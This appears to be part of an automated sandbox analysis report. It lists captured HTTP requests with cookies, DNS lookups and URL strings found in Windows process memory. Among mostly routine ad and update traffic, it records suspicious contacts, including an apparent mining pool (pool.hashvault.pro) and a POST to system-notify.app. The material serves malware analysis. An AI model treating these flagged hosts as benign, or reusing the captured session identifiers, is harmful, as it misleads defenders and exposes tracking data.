Source: global traffic	HTTP traffic detected: GET /rp/NWoZK3kTsExUV00Ywo1G5jlUKKs.js HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: r.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1718442966&IPMH=17796e20&IPMID=1707317782133; TOptOut=1
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?19dbfca939f0d499d77077361e034fb3 HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5Accept-Language: en-CHAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: arc-ring.msedge.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rp/Q3V1YduXktsQod4TNmtdVQjJfGI.js HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: r.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1718442966&IPMH=17796e20&IPMID=1707317782133; TOptOut=1
Source: global traffic	HTTP traffic detected: GET /c/102/112/8/2.gif?puid=BE92746BAA5C8E8A&gdpr=0&gdpr_consent= HTTP/1.1Host: id5-sync.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://csync.smartadserver.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 3pi=2#1718442913355#-181109863#2348066295523201724\|102#1718442909140#-2041121598\|264#1718442911169#58598678#7a9427d7-5567-4b13-ad78-e53aa5bc8a0b\|104#1718442921321#42930013#17287f0b-6066-405e-9adb-2134fa1669ab\|10#1718442924824#656917855#3883899461399649905\|155#1718442917539#959485646#AAFGGU7M2rcAABWAYHUUFw\|123#1718442928327#2134079627; id5=bc680ce9-6de4-772b-8423-ee412e5b4326#1718442898449#5
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?f0c30401afeebe356fffcb3737de19b8 HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5Accept-Language: en-CHAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: mcr-ring.msedge.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rp/RYKCZ_bhFVTjfwR5IK0CJKu6-vs.js HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: r.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1718442966&IPMH=17796e20&IPMID=1707317782133; TOptOut=1
Source: global traffic	HTTP traffic detected: GET /ping_match.gif?st=ID5&rurl=https%3A%2F%2Fid5-sync.com%2Fc%2F102%2F163%2F7%2F3.gif%3Fpuid%3D_wfivefivec_%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: pm.w55c.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://csync.smartadserver.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?488d9075685ef2e87caeec8b7b2b9027 HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5Accept-Language: en-CHAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: mcr-ring.msedge.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rp/RbiqIpckdeCj5poR4RkMnwuZiso.js HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: r.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1718442966&IPMH=17796e20&IPMID=1707317782133; TOptOut=1
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?319743ba9535906998372fcb026dc840 HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5Accept-Language: en-CHAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: teams-ring.msedge.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rp/SyQBMzR3BSHxlPeh71IyXoVbNjM.js HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: r.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1718442966&IPMH=17796e20&IPMID=1707317782133; TOptOut=1
Source: global traffic	HTTP traffic detected: GET /ping_match.gif?scc=1&st=ID5&rurl=https%3A%2F%2Fid5-sync.com%2Fc%2F102%2F163%2F7%2F3.gif%3Fpuid%3D_wfivefivec_%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: pm.w55c.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://csync.smartadserver.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: wfivefivec=lzYe0FkB1Sipw95
Source: global traffic	HTTP traffic detected: GET /rp/TYaBzjHJvEhMN1BC1E7c5Ii-Bx8.js HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: r.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1718442966&IPMH=17796e20&IPMID=1707317782133; TOptOut=1
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?d670cbbb63c5e550f2007e839537daab HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5Accept-Language: en-CHAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: teams-ring.msedge.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /c/102/163/7/3.gif?puid=lzYe0FkB1Sipw95&gdpr=0&gdpr_consent= HTTP/1.1Host: id5-sync.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://csync.smartadserver.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: id5=bc680ce9-6de4-772b-8423-ee412e5b4326#1718442898449#5; 3pi=112#1718442972482#324419753#BE92746BAA5C8E8A\|2#1718442913355#-181109863#2348066295523201724\|102#1718442909140#-2041121598\|264#1718442911169#58598678#7a9427d7-5567-4b13-ad78-e53aa5bc8a0b\|104#1718442921321#42930013#17287f0b-6066-405e-9adb-2134fa1669ab\|10#1718442924824#656917855#3883899461399649905\|155#1718442917539#959485646#AAFGGU7M2rcAABWAYHUUFw\|123#1718442928327#2134079627
Source: global traffic	HTTP traffic detected: GET /r.gif?MonitorID=asgw&rid=e4d0ea0ba25e835228318230b239a5c7&w3c=true&prot=https:&v=20190506&DATA=[{%22RequestID%22:%22arc-ring.msedge.net%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22cold%22,%22Result%22:891,%22T%22:1},{%22RequestID%22:%22arc-ring.msedge.net%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22warm%22,%22Result%22:877,%22T%22:1},{%22RequestID%22:%22mcr-ring.msedge.net%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22cold%22,%22Result%22:1133,%22T%22:1},{%22RequestID%22:%22mcr-ring.msedge.net%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22warm%22,%22Result%22:875,%22T%22:1},{%22RequestID%22:%22teams-ring.msedge.net%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22cold%22,%22Result%22:892,%22T%22:1},{%22RequestID%22:%22teams-ring.msedge.net%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22warm%22,%22Result%22:867,%22T%22:1}] HTTP/1.1Origin: https://www.bing.comReferer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: /Accept-Language: en-CHAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: fp.msedge.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /c/102/163/7/3.gif?puid=lzYe0FkB1Sipw95&gdpr=0&gdpr_consent= HTTP/1.1Host: id5-sync.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: id5=bc680ce9-6de4-772b-8423-ee412e5b4326#1718442898449#5; 3pi=112#1718442972482#324419753#BE92746BAA5C8E8A\|2#1718442913355#-181109863#2348066295523201724\|163#1718442975990#-1405830557\|102#1718442909140#-2041121598\|264#1718442911169#58598678#7a9427d7-5567-4b13-ad78-e53aa5bc8a0b\|104#1718442921321#42930013#17287f0b-6066-405e-9adb-2134fa1669ab\|10#1718442924824#656917855#3883899461399649905\|155#1718442917539#959485646#AAFGGU7M2rcAABWAYHUUFw\|123#1718442928327#2134079627
Source: global traffic	HTTP traffic detected: GET /genericpost HTTP/1.1Host: ww1097.smartadserver.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pid=7344472575877188506; TestIfCookieP=ok; csync=111:ID5-9436e49rFW4Sv3laxZZf1y8h5M2GqW4XpxTTXlEEAw; sasd2=q=%24qc%3D1500001818%3B%24ql%3DHigh%3B%24qpc%3D76540%3B%24qt%3D152_507_30917t%3B%24dma%3D625%3B%24qo%3D6&c=1&l&lo&lt=638540397164729742&o=1; sasd=%24qc%3D1500001818%3B%24ql%3DHigh%3B%24qpc%3D76540%3B%24qt%3D152_507_30917t%3B%24dma%3D625%3B%24qo%3D6; vs=471364=6024076; csfq=1; lcsrd=2024-06-15T09:20:04.5402016Z; rpools=111
Source: global traffic	HTTP traffic detected: GET /release2/chrome_component/imoffpf67hel7kbknqflao2oo4_1.0.2738.0/neifaoindggfcjicffkgpmnlppeffabd_1.0.2738.0_win64_kj4dp5kifwxbdodqls7e5nzhtm.crx3 HTTP/1.1Host: dl.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /release2/chrome_component/kkkxrb65stynv7pcqbppuocw44_2024.6.5.0/gonpemdgkjcecdgbnaabipppbmgfggbe_2024.06.05.00_all_lqepr5dqnivxhxcinrlckqnwo4.crx3 HTTP/1.1Host: dl.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate

Source: global traffic	DNS traffic detected: DNS query: oxy.st
Source: global traffic	DNS traffic detected: DNS query: contextual.media.net
Source: global traffic	DNS traffic detected: DNS query: ads.themoneytizer.com
Source: global traffic	DNS traffic detected: DNS query: smatr.net
Source: global traffic	DNS traffic detected: DNS query: cdn.adlook.me
Source: global traffic	DNS traffic detected: DNS query: lg3.media.net
Source: global traffic	DNS traffic detected: DNS query: yastatic.net
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: cdn.themoneytizer.fr
Source: global traffic	DNS traffic detected: DNS query: ced.sascdn.com
Source: global traffic	DNS traffic detected: DNS query: onetag-sys.com
Source: global traffic	DNS traffic detected: DNS query: gum.criteo.com
Source: global traffic	DNS traffic detected: DNS query: tag.leadplace.fr
Source: global traffic	DNS traffic detected: DNS query: ogffa.net
Source: global traffic	DNS traffic detected: DNS query: counter.yadro.ru
Source: global traffic	DNS traffic detected: DNS query: secure.quantserve.com
Source: global traffic	DNS traffic detected: DNS query: p.cpx.to
Source: global traffic	DNS traffic detected: DNS query: adtrack.adleadevent.com
Source: global traffic	DNS traffic detected: DNS query: system-notify.app
Source: global traffic	DNS traffic detected: DNS query: ads.adlook.me
Source: global traffic	DNS traffic detected: DNS query: download.oxy.st
Source: global traffic	DNS traffic detected: DNS query: ced-ns.sascdn.com
Source: global traffic	DNS traffic detected: DNS query: cdn.id5-sync.com
Source: global traffic	DNS traffic detected: DNS query: rules.quantcount.com
Source: global traffic	DNS traffic detected: DNS query: ib.adnxs.com
Source: global traffic	DNS traffic detected: DNS query: match.adsrvr.org
Source: global traffic	DNS traffic detected: DNS query: uidsync.net
Source: global traffic	DNS traffic detected: DNS query: pixel.quantserve.com
Source: global traffic	DNS traffic detected: DNS query: s.cpx.to
Source: global traffic	DNS traffic detected: DNS query: id5-sync.com
Source: global traffic	DNS traffic detected: DNS query: lb.eu-1-id5-sync.com
Source: global traffic	DNS traffic detected: DNS query: pixel.rubiconproject.com
Source: global traffic	DNS traffic detected: DNS query: cm.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: u.openx.net
Source: global traffic	DNS traffic detected: DNS query: secure.adnxs.com
Source: global traffic	DNS traffic detected: DNS query: image2.pubmatic.com
Source: global traffic	DNS traffic detected: DNS query: s1.oxy.st
Source: global traffic	DNS traffic detected: DNS query: rtb-csync.smartadserver.com
Source: global traffic	DNS traffic detected: DNS query: tmzr.themoneytizer.fr
Source: global traffic	DNS traffic detected: DNS query: match.prod.bidr.io
Source: global traffic	DNS traffic detected: DNS query: lexicon.33across.com
Source: global traffic	DNS traffic detected: DNS query: id.crwdcntrl.net
Source: global traffic	DNS traffic detected: DNS query: ww1097.smartadserver.com
Source: global traffic	DNS traffic detected: DNS query: metrics.biddertmz.com
Source: global traffic	DNS traffic detected: DNS query: x.bidswitch.net
Source: global traffic	DNS traffic detected: DNS query: c1.adform.net
Source: global traffic	DNS traffic detected: DNS query: ps.eyeota.net
Source: global traffic	DNS traffic detected: DNS query: uipglob.semasio.net
Source: global traffic	DNS traffic detected: DNS query: uipus.semasio.net
Source: global traffic	DNS traffic detected: DNS query: csync.smartadserver.com
Source: global traffic	DNS traffic detected: DNS query: cxcs.microsoft.net
Source: global traffic	DNS traffic detected: DNS query: pm.w55c.net
Source: global traffic	DNS traffic detected: DNS query: dl.google.com
Source: global traffic	DNS traffic detected: DNS query: pool.hashvault.pro

Source: unknown

HTTP traffic detected: POST /event?z=651407 HTTP/1.1Host: system-notify.appConnection: keep-aliveContent-Length: 519sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: text/plain;charset=UTF-8Accept: */*Origin: https://oxy.stSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: svchost.exe, 0000002D.00000003.1873544585.000002479636E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1792340087.0000024796352000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/STS
Source: svchost.exe, 0000002D.00000003.1873544585.000002479636E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/STS09/xmldsig#ripledes-cbcices/SOAPFaultcurity-utility-1.0.xsd
Source: svchost.exe, 00000044.00000000.2167397068.000002AB7F367000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/tb
Source: lsass.exe, 00000029.00000000.1641027469.000001BA8E23D000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000029.00000000.1641470330.000001BA8E28A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: lsass.exe, 00000029.00000003.2272692697.000001BA8E3DB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000029.00000000.1641470330.000001BA8E28A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000029.00000000.1642244205.000001BA8E351000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B
Source: lsass.exe, 00000029.00000000.1641470330.000001BA8E28A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000029.00000000.1640619987.000001BA8E200000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG3.crt0
Source: updater.exe, 0000003D.00000002.2482827777.00007FF6F8E40000.00000004.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://crl.globalsign.net/ObjectSign.crl0
Source: updater.exe, 0000003D.00000002.2482827777.00007FF6F8E40000.00000004.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://crl.globalsign.net/Root.crl0
Source: updater.exe, 0000003D.00000002.2482827777.00007FF6F8E40000.00000004.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://crl.globalsign.net/RootSignPartners.crl0
Source: updater.exe, 0000003D.00000002.2482827777.00007FF6F8E40000.00000004.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://crl.globalsign.net/primobject.crl0
Source: powershell.exe, 0000004E.00000002.2759544100.0000021B3CBDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mic
Source: powershell.exe, 0000004E.00000002.2759544100.0000021B3CBDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micft.cMicRosof
Source: svchost.exe, 00000002.00000002.1632055852.0000024C9F400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: lsass.exe, 00000029.00000003.2272692697.000001BA8E3DB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000029.00000000.1641470330.000001BA8E28A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000029.00000000.1642244205.000001BA8E351000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl0
Source: lsass.exe, 00000029.00000000.1641027469.000001BA8E23D000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000029.00000000.1641470330.000001BA8E28A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: lsass.exe, 00000029.00000000.1641470330.000001BA8E28A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000029.00000000.1640619987.000001BA8E200000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG3.crl07
Source: lsass.exe, 00000029.00000000.1641027469.000001BA8E23D000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000029.00000000.1641470330.000001BA8E28A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: lsass.exe, 00000029.00000000.1641470330.000001BA8E28A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000029.00000000.1640619987.000001BA8E200000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG3.crl0
Source: lsass.exe, 00000029.00000000.1639522824.000001BA8DA89000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: lsass.exe, 00000029.00000000.1641027469.000001BA8E23D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: chromecache_356.1.dr	String found in binary or memory: http://danml.com/download.html
Source: lsass.exe, 00000029.00000000.1638682628.000001BA8DA2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702
Source: lsass.exe, 00000029.00000000.1638939550.000001BA8DA4E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512
Source: svchost.exe, 0000002D.00000003.1813094875.0000024796353000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200
Source: svchost.exe, 0000002D.00000003.1813094875.0000024796353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1811793649.0000024796358000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1875595091.000002479630E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: svchost.exe, 0000002D.00000003.1875595091.000002479630E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: svchost.exe, 0000002D.00000003.1873544585.000002479636E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsds
Source: svchost.exe, 0000002D.00000003.1850495386.0000024796352000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID
Source: svchost.exe, 0000002C.00000002.2033292940.0000023F7BC74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/
Source: svchost.exe, 00000044.00000000.2152238447.000002AB7F19C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/imoffpf67hel7kbknqflao2oo4_1.0.2738.0/nei
Source: svchost.exe, 0000007C.00000000.2399071015.000001B311C2A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/update2/iqmnfy5ub2wrt6itb67uu4wcci_1.3.36.372/GoogleUpdate
Source: svchost.exe, 0000002C.00000002.2033292940.0000023F7BC69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com:80
Source: svchost.exe, 0000002C.00000002.2033292940.0000023F7BC69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com:80/edgedl/release2/chrome_component/imoffpf67hel7kbknqflao2oo4_1.0.2738.0/
